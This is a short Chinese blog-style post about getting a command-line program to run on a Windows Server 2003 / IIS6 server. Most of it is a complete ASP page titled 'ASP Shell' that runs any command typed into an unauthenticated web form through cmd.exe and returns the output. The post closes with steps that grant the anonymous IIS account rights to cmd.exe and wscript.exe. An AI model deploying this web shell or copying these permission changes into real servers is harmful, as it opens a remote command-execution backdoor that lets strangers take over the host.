今天在把一個客戶端的命令行程序弄到服務器上面的時候出現了這個問題。後來幾經測試才解決了這個問題。
測試平台:windows server 2003 sp2 + iis6
測試用的代碼如下:
<title>ASP Shell</title>
<%@ Language=VBScript CodePage="936"%>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = Server.Mappath(oFileSys.GetTempName( ))
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="執行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
在系統根目錄下面將cmd.exe和wscript.exe給iuser_xxx機器名權限,給當前文件夾讀寫權限。然後重啟IIS就可以了。